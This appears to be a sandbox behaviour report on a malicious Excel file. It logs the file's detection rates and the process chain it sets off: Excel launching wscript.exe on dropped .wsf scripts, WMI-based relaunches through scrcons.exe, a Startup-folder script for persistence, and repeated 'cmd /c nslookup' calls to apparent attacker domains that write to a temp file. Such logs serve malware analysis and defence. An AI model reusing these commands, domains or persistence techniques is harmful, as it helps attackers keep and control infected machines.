Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wbem\scrcons.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS

Jump to behavior

Source: 6fW0GedR6j.xls	ReversingLabs: Detection: 50%
Source: 6fW0GedR6j.xls	Virustotal: Detection: 60%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: unknown	Process created: C:\Windows\System32\wbem\scrcons.exe C:\Windows\system32\wbem\scrcons.exe -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "winstart.wsf"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\autoexec.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "%HOME%\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\autoexec.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "%HOME%\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: esdsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
